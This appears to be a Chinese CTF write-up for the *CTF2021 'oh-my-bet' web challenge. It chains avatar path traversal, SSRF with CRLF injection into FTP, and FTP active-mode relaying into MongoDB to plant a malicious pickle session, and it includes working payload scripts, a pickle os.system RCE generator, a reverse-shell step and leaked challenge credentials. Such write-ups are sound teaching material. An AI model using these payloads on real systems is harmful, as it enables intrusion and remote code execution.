*CTF2021 oh-my-bet
http://w4nder.top/?p=382
抓个包,发现头像处1.png,可以路径穿越
结果会保存在头像中
/app/utils.py
urllib请求,基本上是ssrf+crlf
/app/config.py
内网172.20.0.2 8877是个ftp,crlf看一下ftp文件可以得到config.json
ftp://fan:root@172.20.0.2:8877/files/config.json
看到172.20.0.5是mongodb,.3是mysql,.4是redis
{
"secret_key":"f4545478ee86$%^&&%$#",
"DEBUG": false,
"SESSION_TYPE": "mongodb",
"REMOTE_MONGO_IP": "172.20.0.5",
"REMOTE_MONGO_PORT": 27017,
"SESSION_MONGODB_DB": "admin",
"SESSION_MONGODB_COLLECT": "sessions",
"SESSION_PERMANENT": true,
"SESSION_USE_SIGNER": false,
"SESSION_KEY_PREFIX": "session:",
"SQLALCHEMY_DATABASE_URI": "mysql+pymysql://root:starctf123456@172.20.0.3:3306/ctf?charset=utf8",
"SQLALCHEMY_TRACK_MODIFICATIONS": true,
"REDIS_URL": "redis://@172.20.0.4:6379/0"
}
并且session是flask_session,也就是说session是以序列化pickle的形式存储在mongo里
所以现在目的就是往mongodb中的session中插入恶意pickle数据,但是问题就是mongodb没有像ftp:// 一样的协议,不能直接用来ssrf。这里的打法也是让我学了一波
首先ftp有主动模式和被动模式一说,命令行使用如quote port 127,0,0,1,0,2233切换,主动模式可以远程请求一个服务器端口下载(STOR)和上传文件(RETR),如
import urllib.request
# Upload file
a = '''TYPE I
PORT 127,0,0,1,0,1888
STOR bb2.txt
'''
c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
exp = urllib.parse.quote(a.replace('\n', '\r\n'))
exp = c + exp
print(exp)
这样crlf请求过去ftp就会启用主动模式,并从本地1888端口下载一个bb2.txt文件
在vps上起一个发送文件的socket
import socket
HOST = '0.0.0.0'
PORT = 1888
blocksize = 4096
fp = open('bb2.txt', 'rb')
s = socket.socket()
s.bind((HOST, PORT))
print('start listen...')
s.listen(5)
conn, addr = s.accept()
while 1:
buf = fp.read(blocksize)
if not buf:
fp.close()
break
conn.sendall(buf)
print('end.')
这样就能任意让ftp下载文件了
但是目标是通过ftp上传到mongo怎么实现,先ftp主动模式上传抓个包,还是用官方的脚本生成payload
import urllib.request
# Attack mongodb
a = '''TYPE I
PORT vps,0,27017
RETR test111.txt
'''
c = 'ftp://fan:root@172.20.0.2:8877/files%0d%0a'
exp = urllib.parse.quote(a.replace('\n', '\r\n'))
exp = c + exp
print(exp)
这里可以看到ftp会把文件内容直接放到tcp流中来上传
那么在本地用pymongo模拟一下更新mongo里的文件,
#https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet
from pymongo import MongoClient
import pickle
import os
def get_pickle(cmd):
class exp(object):
def __reduce__(self):
return (os.system, (cmd,))
return pickle.dumps(exp())
def get_mongo(cmd):
client = MongoClient('localhost', 27017)
coll = client.admin.sessions
try:
coll.update_one(
{'id':'session:37386ce1-3fe8-4f1d-91fc-224581c5279f'},
{"$set": { "val": get_pickle(cmd) }},
upsert=True
)
except Exception as e:
return e.message
if __name__ == '__main__':
print(get_mongo('ls'))
本地起个docker抓一下
图中可以看到这一部分是关键的对mongodb更新的数据包,同样也是直接在tcp流中,那么我们如果在ftp中令发送的文件为这一串就是等效于通过ssrf ftp来操作mongo了
下一步就是生成文件,可以通过将raw数据包十六进制转换的方式,还有一种是这位师傅的
https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet
直接去pymongo源码里network.py找到发送数据的那一段,前面抛个异常就行了,我这里直接输出msg了(注意这里得用linux生成!免得踩坑了)
然后生成对应的文件,如下
改成弹shell的放到vps传到ftp,然后再将该文件发送到172.20.0.5 27017,变相更新了一次mongo
这时mongo里的数据就被改了
/readflag
ssrf脚本
# -*- coding:utf-8 -*-
import uuid
import re
import requests
sess=requests.session()
def get_source():
res=sess.get(url+"/shake_and_dice")
#print(res.headers)
print(res.cookies)
text=re.findall('<img src="data:image/png;base64,(.*?)" class="img-thumbnail".*?',res.text)
if text:
print("[+] Get source:")
print(text)
def login(path):
print("[+] Login")
username=uuid.uuid4()
data={
'username':username,
'password':username,
'avatar':path,
'submit':'Go!'
}
sess.post(url+'/login',data=data)
if __name__ == '__main__':
url="http://192.168.134.132:8088/"
login("ftp://fan:root@172.20.0.2:8877/")
get_source()
https://github.com/sixstars/starctf2021/blob/main/web-oh-my-bet/oh-my-bet-ZH.md
https://blog.frankli.site/2021/01/18/*CTF-2021-Web/#oh-my-bet